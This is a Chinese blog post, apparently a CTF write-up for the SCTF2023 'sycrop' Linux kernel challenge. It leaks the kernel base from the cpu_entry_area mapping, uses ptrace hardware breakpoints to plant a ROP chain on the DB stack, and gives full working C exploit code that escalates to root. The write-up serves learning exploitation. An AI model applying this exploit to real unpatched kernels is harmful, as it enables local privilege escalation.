【cpu_entry_area mapping】SCTF2023-sycrop

news2024/11/19 10:41:29

前言

也算学习到了,这样对 DB_stack 的利用与 pt_regs 很相似。都是利用在用户态切换在内核态时,会保存用户态的上下文信息在内核栈中,所以我们就可以控制部分内核栈中的数据,以此为我们栈迁移做好准备。

程序分析

启动脚本啥的都不用看了,基本都是 smap、smep、kaslr 和 kpti 都开启。然后直接看驱动模块吧。

驱动程序也非常简单,一次任意地址4字节数据泄漏和一次任意地址栈迁移的机会:

 注意最后这里要看汇编代码:

这里直接将 rbx 的值赋给 rsp,然后 ret,而 rbx 直接来自于 rdx,也就是我们传入的第3个参数:

这中间并没有对 rbx 的值再做任何修改,可以自行查看

漏洞利用 

这里漏洞已经白给了,按照题目给了漏洞,我们应当就是先泄漏内核基地址,然后在内核空间布置好 ROP 链,最后直接栈迁移过去。

那么这里就有两个难点了:

1、如何泄漏内核基地址

2、在那里布置 ROP 链 

最后选择的是 cpu_entry_area mapping 内核区域。

测试 poc.c:

// poc.c
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
pid_t pid;
int status;
char buf[4];

void set_hbp(void *addr)
{
    if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(0), addr) == -1)
    {
        printf("Failed to set dr_0\n");
        kill(pid, 9);
        exit(-1);
    }
    unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
    if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(7), dr_7) == -1)
    {
        printf("Failed to set dr_7\n");
        kill(pid, 9);
        exit(-1);
    }
}

int main(int argc, char **argv, char **env)
{
    pid = fork();
    if (!pid)
    {
        cpu_set_t cpu_set;
        CPU_ZERO(&cpu_set);
        CPU_SET(0, &cpu_set);
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        raise(SIGSTOP);
        __asm__(
        "mov r15,   0x11111111;"
        "mov r14,   0x22222222;"
        "mov r13,   0x33333333;"
        "mov r12,   0x44444444;"
        "mov rbp,   0x55555555;"
        "mov rbx,   0x66666666;"
        "mov r11,   0x77777777;"
        "mov r10,   0x88888888;"
        "mov r9,    0x99999999;"
        "mov r8,    0xaaaaaaaa;"
        "mov rax,   0xbbbbbbbb;"
        "mov rcx,   0xcccccccc;"
        "mov rdx,   0xdddddddd;"
        "mov rsi,   0xeeeeeeee;"
        "mov rdi,   0xffffffff;"
        );
        buf[0] = 0;
        exit(1);

    }
    waitpid(pid, &status, 0);
    set_hbp(buf);

    ptrace(PTRACE_CONT, pid, NULL, NULL);
    waitpid(pid, &status, 0);

    ptrace(PTRACE_CONT, pid, NULL, NULL);
    waitpid(pid, &status, 0);

    return 0;
}

在 linux 6.2 之前,该区域不参与随机化,并且在该区域存在内核地址,所以我们可以直接泄漏内核基地址:

并且通过下硬件断点在用户态触发的方式,可以将寄存器内容推送到与per cpu entry area固定偏移的DB stack上,所以我们可以在 DB stack 上布置好我们的 ROP 链,最后直接栈迁移过去即可:

exp如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/ptrace.h>

#define DR_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
size_t swapgs_kpti = 0xFFFFFFFF82000F01;
size_t init_cred =  0xffffffff82a4cbf8;
size_t commit_creds = 0xffffffff810bb5b0;
size_t pop_rdi = 0xffffffff81002c9d; // pop rdi ; ret

int fd;
pid_t pid;
int status;
char buf[4];
size_t kernel_offset;

size_t leak(size_t addr) { return ioctl(fd, 0x5555, addr); }
void set_rsp(size_t rsp) { ioctl(fd, 0x6666, rsp); }

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void bind_core(int core)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void set_hbp(void *addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr) == -1)
        {
                printf("Failed to set dr_0\n");
                kill(pid, 9);
                exit(-1);
        }
        unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr_7) == -1)
        {
                printf("Failed to set dr_7\n");
                kill(pid, 9);
                exit(-1);
        }
}


int main(int argc, char **argv, char **env)
{
        fd = open("/dev/seven", O_RDWR);
        if (fd < 0) err_exit("Open dev file");
        kernel_offset = (leak(0xfffffe0000000000+4)&0xffffffff) - 0x82008e00;
        hexx("kernel_offset", kernel_offset);
        swapgs_kpti += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        pop_rdi += kernel_offset;

        pid = fork();
        if (!pid)
        {
                bind_core(0);
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                raise(SIGSTOP);
                __asm__ volatile(
                "mov rax, pop_rdi;"
                "mov rcx, init_cred;"
                "mov rdx, commit_creds;"
                "mov rsi, swapgs_kpti;"
                );
                buf[0] = 1;
                set_rsp(0xfffffe0000010fa8);
                hexx("UID", getuid());
                system("/bin/sh");
                exit(0);
        }

        waitpid(pid, &status, 0);
        set_hbp(buf);

        ptrace(PTRACE_CONT, pid, NULL, NULL);
        waitpid(pid, &status, 0);

        ptrace(PTRACE_CONT, pid, NULL, NULL);
        waitpid(pid, &status, 0);
        return 0;
}

最后可以稳定提权:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1099257.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

14-k8s-基本存储之EmptyDir、HostPath、NFS

文章目录 一、相关概念二、EmptyDir存储三、HostPath存储四、NFS存储 一、相关概念 概述 Volumn定义在Pod上&#xff0c;然后被该Pod里面的多个容器挂载到具体的文件目录下。实现同一个Pod中不同容器之间的数据共享以及数据的持久化存储。Volume的生命周期不和Pod中的单个容器的…

出海 SaaS 企业增长修炼手册:聊聊 PLG 的关键指标、技术栈和挑战

产品驱动增长 Product-Led Growth (PLG) 近几年可谓火遍海外 SaaS 圈&#xff0c;但想要真正落地 PLG 还是存在不少挑战的。了解 PLG 背后的增长指标&#xff0c;不仅可以帮助企业跟上发展节奏&#xff0c;更能从纷繁复杂的业务细节中获取有价值洞察。那么&#xff0c;如何高效…

【3】c++11新特性(稳定性和兼容性)—>类成员的快速初始化

在进行类成员变量初始化的时候&#xff0c;C11标准对于C98做了补充&#xff0c;允许在定义类的时候在类的内部直接对非静态变量进行初始化&#xff0c;在初始化的时候可以使用等号&#xff0c;也可以使用花括号{}&#xff0c;等号可以省略不写&#xff1b;静态成员变量需要在类…

二叉树的三种遍历方式的本质

二叉树的定义就不在这里多说了&#xff0c;下面这个图就是一个简单的二叉树&#xff1a; 二叉树的三种遍历方式&#xff1a; 前序遍历&#xff1a;头左右&#xff0c;也就是先头后左再右&#xff1a;1245367 public static void prePrint(BinaryTreeNode root) {if (root ! n…

pycharm社区版创建Django项目的一种方式

pycharm社区版创建Django项目 pycharm创建New project安装django&#xff0c;如果安装过可略过安装完成后查看安装情况生成Django项目需要的文件这里注意生成语句后面的 . 不可以省略 生成文件后&#xff0c;框架搭建完成&#xff0c;配置启动我这里在配置完后&#xff0c;报了…

徐建鸿:深耕中医康养的“托钵行者”

为什么是“庄人堂”&#xff1f;杭州“庄人堂”医药科技公司董事长徐建鸿很乐意和别人分享这个名称的由来&#xff0c;一方面是庄子首先提出“养生”这个概念&#xff0c;接近上工治未病的上医&#xff0c;取名“庄人堂”代表庄子门生&#xff0c;向古哲先贤致敬&#xff01;另…

vscode使用code runner乱码

"code-runner.executorMap": {"python": "set PYTHONIOENCODINGutf8 && python $fullFileName"}

unordered_set unordered_map 的封装

目录 1. 哈希的概念 1.1. 哈希冲突 1.2. 哈希函数&#xff1a; 1. 直接定址法 2. 除留余数法 1.3. 闭散列实现哈希 1.4. 开散列实现哈希 2. 哈希的应用 2.1 位图的概念 2.1.1. 问题&#xff1a; 2.2.1. set ​编辑 2.2.2. reset 2.2.3. test() 2.2. 位图的实现…

软件工程与计算总结(十五)详细设计中面向对象方法下的信息隐藏

软件工程与计算总结&#xff08;十三&#xff09;详细设计中的模块化与信息隐藏 之前的博客中&#xff0c;模块需要隐藏的决策主要由“职责的实现”and“实现的变更”两类&#xff0c;在面向对象方法中&#xff0c;需要做到的就是&#xff1a; 封装类的职责&#xff0c;隐藏职…

MyBatisPlus(十九)自动填充

说明 自动填充指的是&#xff0c;当数据被 插入 或者 更新 的时候&#xff0c;会为指定字段进行一些默认的数据填充。 比如&#xff0c;插入时&#xff0c;会自动填充数据的创建时间和更新时间&#xff1b;更新时&#xff0c;会自动填充数据的更新时间。 实现方式 配置处理器…

python--短路运算,把0、空字符串和None看成 False,其他数值和非空字符串都看成 True

代码 print(3 and 4 and 5) # 5 print(5 and 6 or 7) # 6 4 > 3 and print(‘hello world’) # 输出hello world 注释&#xff1a; 在逻辑运算中&#xff0c;不一定逻辑运算符的两边都是纯表达式。也可以是数值类型的数据。 Python把0、空字符串和None看成 False&#xff…

字节码进阶之Lombok底层原理

字节码进阶之Lombok底层原理 文章目录 前言lombok 原理Lombok工作原理 举个简单的例子 前言 例如&#xff0c;我们经常在Java代码中为类的属性生成getter和setter方法&#xff0c;这是一种重复且繁琐的工作。使用Lombok可以极大地简化这个过程。 假设我们有如下的Java类&…

微软AutoGen框架:让聊天解决问题成为一种“酷”体验!

今天要给大家介绍一款在人工智能领域引起巨大轰动的产品——微软AutoGen框架。这款框架的出现&#xff0c;让多个LLM智能体通过聊天来解决任务成为可能&#xff0c;令人激动不已&#xff01; 首先&#xff0c;我们先来了解一下LLM智能体。LLM代表"Language Learning Mode…

【MySQL】索引的增删查

上篇博客讲解了索引的底层结构 本篇介绍索引的使用 文章目录 一. 主键索引二. 唯一键索引三. 普通索引四. 全文索引五. 查询索引六. 删除索引结束语 一. 主键索引 MySQL默认会按照主键索引进行排序 关键字&#xff1a;primary key 即使建表时没有指明主键&#xff0c;MySQL也会…

25.0 MySQL 数据库概述

1. 数据库介绍 1.1 简介 数据库是用于存储, 管理和组织数据的一种技术.使用数据库有以下几个重要的原因: * 1. 数据的持久化存储: 数据库可以将数据持久地保存在磁盘上, 确保数据在计算机系统关闭或发生故障时不会丢失.这样可以保证数据的安全性和可靠性.* 2. 数据共享和协作…

excel+requests管理测试用例接口自动化框架

背景&#xff1a; 某项目有多个接口&#xff0c;之前使用的unittest框架来管理测试用例&#xff0c;将每个接口的用例封装成一个py文件&#xff0c;接口有数据或者字段变动后&#xff0c;需要去每个py文件中找出变动的接口测试用例&#xff0c;维护起来不方便&#xff0c;为了…

记IIS升级迁移之旅

场景 有一台Windows Server 2008机器&#xff0c;因为操作系统更新的原因&#xff0c;需要升级到 2022&#xff0c; 这台机器上原先部署了IIS 应用&#xff0c; 所以需要一并迁移。 旧机器&#xff1a; Windows Server 2008 &#xff0c; IIS7 &#xff0c;.NET 版本v4.0新机…

qt笔记之qml下拉标签组合框增加发送按钮发送标签内容

qt笔记之qml下拉标签组合框增加发送按钮发送标签内容 code review! 文章目录 qt笔记之qml下拉标签组合框增加发送按钮发送标签内容1.运行2.文件结构3.main.qml4.main.cc5.MyClass.h6.MyClass.cc7.CMakeLists.txt8.ComboBox.pro9.qml.qrc 1.运行 2.文件结构 3.main.qml 代码 …

Android自定义AppGlideModule,DataFetcher ,ModelLoaderFactory,ModelLoader,Kotlin(1)

Android自定义AppGlideModule,DataFetcher ,ModelLoaderFactory,ModelLoader,Kotlin(1) 假设实现一个简单的功能&#xff0c;对传入要加载的path路径增加一定的筛选、容错或“重定向”&#xff0c;需要自定义一个模型&#xff0c;基于这个模型&#xff0c;让Glide自动匹配模型…

logback服务器日志删除原理分析

查看以下的logback官方文档 Chapter 4: Appendershttps://logback.qos.ch/manual/appenders.html 按文档说明&#xff0c;maxHistory是设置保存归档日志的最大数量&#xff0c;该数量的单位受到fileNamePattern里的值%d控制&#xff0c;如果有多个%d,只能有一个主%d&#xff0…